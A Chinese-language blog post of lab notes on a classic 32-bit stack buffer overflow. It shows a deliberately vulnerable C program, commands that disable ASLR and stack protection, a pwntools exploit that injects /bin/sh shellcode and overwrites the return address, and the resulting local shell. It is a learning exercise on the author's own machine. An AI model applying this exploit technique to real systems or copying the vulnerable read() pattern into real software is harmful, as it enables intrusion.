NEKO

Linux-Exploit之典型的基于堆栈的缓冲区溢出

2018/05/18

5月22日晚更新:
之前遇到的问题是安装完gcc 4.8后编译32位程序会报错:

1
2
3
4
5
/usr/bin/ld: skipping incompatible /usr/lib/gcc/x86_64-linux-gnu/4.8/libgcc.a when searching for -lgcc
/usr/bin/ld: cannot find -lgcc
/usr/bin/ld: skipping incompatible /usr/lib/gcc/x86_64-linux-gnu/4.8/libgcc_s.so when searching for -lgcc_s
/usr/bin/ld: cannot find -lgcc_s
collect2: error: ld returned 1 exit status

解决方法:

1
sudo apt-get install gcc-4.8-multilib

ps:ubuntu16.04安装gcc 4.8版本:
https://www.linuxidc.com/Linux/2017-03/142299.htm

之所以来解决这个问题是因为程序实际运行弹出的栈地址和gdb调试时弹出的栈地址总是不同,以为是gcc版本>5.0的锅,然而经测试并不是(雾).

————————————分割线————————————

本文为看雪精华18之Linux Exploit开发系列的实践笔记

操作系统:ubuntu16.04
gcc版本:gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)
gdb版本:GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1

先说下遇到的一个问题,如果gcc版本大于5.0的话,按照实验上的程序来做的话,是无法成功溢出覆盖main函数的地址的,最好使用gcc 4.8.
然而我安4.8的时候编译出了一大堆毛病,想了想还是用gcc 5.4吧,把漏洞放在子函数中即可,子函数是可以正常溢出的.
同时为了方便使用pwntools,我把输入修改为了从stdin中读取.
同时还是为了方便起见,我直接把buf的地址直接输了出来(:з」∠)

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
void vulnerable(){
char buf[256];
printf("buf_addr:%x\n",&buf);
read(0,&buf,512);
printf("Input:%s\n",buf);

}

int main(){
vulnerable();
return 0;
}

先关闭ubuntu的aslr(地址随机化):

1
neko@ubuntu:~/pwn$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/pwn$ gcc -m32 -fno-stack-protector -z execstack crackme1.c -o crackme1.out

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护
-z execstack:开启栈可执行代码

直接运行可以得到buf_addr:

1
2
neko@ubuntu:~/neko$ ./crackme1.out 
buf_addr:ffffce50

ida中的vulnerable():

1
2
3
4
5
6
7
8
int vulnerable()
{
char buf; // [esp+0h] [ebp-108h]

printf("buf_addr:%x\n", &buf);
read(0, &buf, 0x200u);
return printf("Input:%s\n", &buf);
}

buf在栈中占100字节的空间,108字节是100字节再加上8字节的对齐.

exp:

1
2
3
4
5
6
7
8
from pwn import *
p=process('./crackme1.out')
buf_addr=0xffffce50
shellcode=asm(shellcraft.i386.sh())
padding='a'*(0x108+4-len(shellcode)) //
payload=shellcode+padding+p32(buf_addr)
p.send(payload)
p.interactive()

整个流程为:先填满buf的栈空间,开头为shellcode,再覆盖4字节的ebp,再把返回地址覆盖为buf的起始地址,vulnerable()执行完,跳到buf的起始地址执行我们输入的shellcode.

实验结果:

1
2
3
4
5
6
7
8
neko@ubuntu:~/neko$ python exp1.py 
[+] Starting local process './crackme1.out': pid 88023
[*] Switching to interactive mode
buf_addr:ffffce50
Input:jhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP��\xff�s�����\xff
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

原文作者: n3k0

发表日期: May 18th 2018, 6:26:20

发出嘶吼: 没有魔夜2玩我要死了

CATALOG